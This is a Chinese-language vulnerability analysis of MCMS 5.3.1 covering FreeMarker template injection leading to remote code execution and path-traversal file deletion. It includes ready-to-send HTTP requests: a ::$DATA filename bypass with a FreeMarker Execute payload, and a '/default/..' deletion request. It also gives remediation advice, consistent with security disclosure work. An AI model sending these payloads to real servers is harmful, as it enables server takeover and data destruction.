MCMS 5.3.1 模板注入挖掘
字数 1235 2025-08-24 10:10:13
MCMS 5.3.1 模板注入漏洞分析与利用
1. 漏洞概述
MCMS 5.3.1 版本存在两个严重安全漏洞:
- FreeMarker 模板注入漏洞(RCE)
- 跨目录文件删除漏洞
这两个漏洞都存在于系统设置->模板管理功能中,攻击者可以利用这些漏洞实现远程代码执行和任意文件删除。
2. 环境信息
- 受影响版本:MCMS 5.3.1
- 修复版本:已修复,最新版下载地址:https://gitee.com/mingSoft/MCMS
- 测试环境:Windows 系统
3. FreeMarker 模板注入漏洞分析
3.1 漏洞位置
漏洞位于 net.mingsoft.basic.action#writeFileContent 方法中,该系统整合了 FreeMarker 模板引擎,但未对模板内容进行安全过滤。
3.2 漏洞利用条件
- 拥有后台访问权限(需要登录)
- 能够访问系统设置->模板管理功能
3.3 漏洞利用步骤
3.3.1 文件写入绕过
系统会对上传的文件名进行后缀检查,禁止上传 .ftl 文件。在 Windows 环境下可以使用 ::$DATA 流特性绕过:
fileName=WEB-INF\manager\cms\content\form.ftl::$DATA
::$DATA 特性说明:在 Windows 系统中,文件名后添加 ::$DATA 会将 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持 ::$DATA 之前的文件名。
3.3.2 构造恶意请求
发送以下 POST 请求写入恶意模板:
POST /ms/basic/template/writeFileContent.do HTTP/1.1
Host: 192.168.1.6:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 288
fileName=WEB-INF\manager\cms\content\form.ftl::$DATA&name=about.htm&fileNamePrefix=template\1/\default\&fileContent=${"freemarker.template.utility.Execute"?new()("calc")}
URL 编码后的 payload:
fileName=%57%45%42%2d%49%4e%46%5c%6d%61%6e%61%67%65%72%5c%63%6d%73%5c%63%6f%6e%74%65%6e%74%5c%66%6f%72%6d%2e%66%74%6c%3a%3a%24%44%41%54%41
3.3.3 触发 RCE
写入成功后,访问以下 URL 触发模板解析:
http://192.168.1.6:8080/ms/cms/content/form
对应的控制器方法:net.mingsoft.cms.action#form
3.4 漏洞原理
- 系统允许用户修改模板文件
- 未对 FreeMarker 模板内容进行安全过滤
- 攻击者可以写入包含恶意 FreeMarker 表达式的模板文件
- 系统在渲染模板时会执行恶意代码
4. 跨目录文件删除漏洞分析
4.1 漏洞位置
漏洞位于 net.mingsoft.basic.action#delete 方法中。
4.2 漏洞利用条件
- 拥有后台访问权限(需要登录)
- 能够访问系统设置->模板管理功能
4.3 漏洞利用步骤
4.3.1 构造恶意请求
系统默认只能删除 default 目录下的文件,但可以通过 /.. 绕过目录限制:
POST /ms/basic/template/delete.do HTTP/1.1
Host: 192.168.1.6:8080
Content-Type: application/x-www-form-urlencoded
fileName=/default/..
4.3.2 漏洞原理
- 系统虽然检查了
../和..\路径遍历,但未检查/..形式 - 攻击者可以通过
/..绕过限制,删除 template 目录下的所有模板文件
5. 修复建议
- 升级到最新版本
- 对用户输入的模板内容进行严格过滤
- 加强文件操作的安全检查,防止路径遍历
- 限制模板文件的可执行权限
6. 总结
MCMS 5.3.1 版本的两个高危漏洞允许攻击者在获得后台权限后实现远程代码执行和任意文件删除,危害严重。建议用户及时升级到修复版本,并加强系统安全配置。